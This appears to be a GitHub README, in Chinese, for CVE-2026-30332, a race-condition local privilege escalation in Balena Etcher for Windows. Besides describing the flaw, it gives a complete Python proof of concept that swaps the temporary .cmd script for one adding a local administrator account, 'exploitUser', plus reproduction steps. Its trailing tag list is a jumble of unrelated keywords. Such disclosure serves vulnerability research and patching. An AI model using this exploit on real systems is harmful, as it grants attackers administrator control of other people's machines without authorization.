B1tBreaker/CVE-2026-30332

GitHub: B1tBreaker/CVE-2026-30332

针对 Balena Etcher Windows 版本的 TOCTOU 本地权限提升漏洞概念验证,利用临时脚本文件创建与执行之间的竞争条件实现特权提升。

Stars: 0 | Forks: 0

# CVE-2026-30332 ## 漏洞描述 在 2.1.4 之前版本的 Balena Etcher for Windows 中发现了一个检查时间到使用时间 (TOCTOU) 漏洞。 该应用程序在用户可写目录中创建一个临时的 `.cmd` 文件,随后通过 UAC 以提升的权限执行该文件。 这允许在当前用户上下文中以**中等完整性**级别运行的应用程序或进程,通过在临时脚本执行前注入恶意命令,将权限提升至**高完整性**级别。 ## 技术分析 当用户启动烧录过程时,Etcher 执行以下步骤: 1. 在用户可写的临时目录中创建一个临时 `.cmd` 文件: `C:\Users\\AppData\Local\Temp\etcher\` 2. 文件中填充了启动 `etcher-util.exe` 所需的环境变量和命令。 3. 通过 Windows UAC 以提升的权限执行该脚本。 该漏洞源于文件创建和执行之间的时间差。在这个短暂的时间窗口内,在同一用户上下文中运行的应用程序可以监视临时目录,并将合法的 `.cmd` 文件替换为恶意版本。由于 Etcher 在执行文件之前不验证文件的完整性,恶意代码将以提升的权限运行。 ## 漏洞验证 (PoC) 以下 Python 脚本监视 Etcher 临时目录,一旦检测到 `.cmd` 文件,就会向其追加创建新本地管理员账户的恶意负载。 ``` import os import time import glob username = os.environ.get("USERNAME") target_folder = fr"C:\Users\{username}\AppData\Local\Temp\etcher" file_prefix = "balena-etcher-electron-" payload = fr''' chcp 65001 set "ETCHER_SERVER_ADDRESS=127.0.0.1" set "ETCHER_SERVER_ID=etcher-xxorfp" set "ETCHER_SERVER_PORT=3435" set "UV_THREADPOOL_SIZE=128" set "SKIP=1" net user exploitUser Password123! /add net localgroup administrators exploitUser /add "C:\Users\{username}\AppData\Local\balena_etcher\app-2.1.0\resources\etcher-util.exe" ''' def monitor_and_replace(): print(f"[*] Watching for balena-etcher-electron-*.cmd files in: {target_folder}") while True: cmd_files = glob.glob(os.path.join(target_folder, file_prefix + "*.cmd")) for cmd_file in cmd_files: print(f"[+] New .cmd file detected: {cmd_file}") try: with open(cmd_file, "w") as f: f.write(payload) print("[+] Payload successfully written to .cmd file.") return # Exit after successful injection except Exception as e: print(f"[-] Failed to write payload: {e}") time.sleep(0.5) if __name__ == "__main__": monitor_and_replace() ``` ### 复现步骤 1. 打开命令提示符并运行 `python exploit.py`。该脚本开始监视临时目录中 Etcher 创建的任何 `.cmd` 文件。

2. 启动 **Balena Etcher**,选择一个有效的镜像文件和目标 USB/SD 设备,然后点击 **Flash** 开始烧录过程。

3. 当出现 **UAC 提示**时,接受它以允许 Etcher 以提升的权限继续运行。 4. exploit 脚本会在执行前检测并替换临时的 `.cmd` 文件。一旦脚本以提升的权限运行,注入的命令就会被执行,从而添加一个新的本地管理员用户 (`exploitUser`)。

## 参考链接 - [NVD NIST CVE 记录](https://nvd.nist.gov/vuln/detail/CVE-2026-30332) - [GitHub Issue – 漏洞报告](https://github.com/balena-io/etcher/issues/4500)
标签:AppData, Balena Etcher, CMD注入, Conpot, CVE-2026-30332, DNS 解析, PoC, Python, TOCTOU, UAC绕过, Web报告查看器, Windows安全, 中完整性, 临时文件利用, 写入任意文件, 协议分析, 无后门, 暴力破解, 本地提权, 权限提升, 植入后门, 漏洞分析, 竞态条件, 路径探测, 逆向工具, 高完整性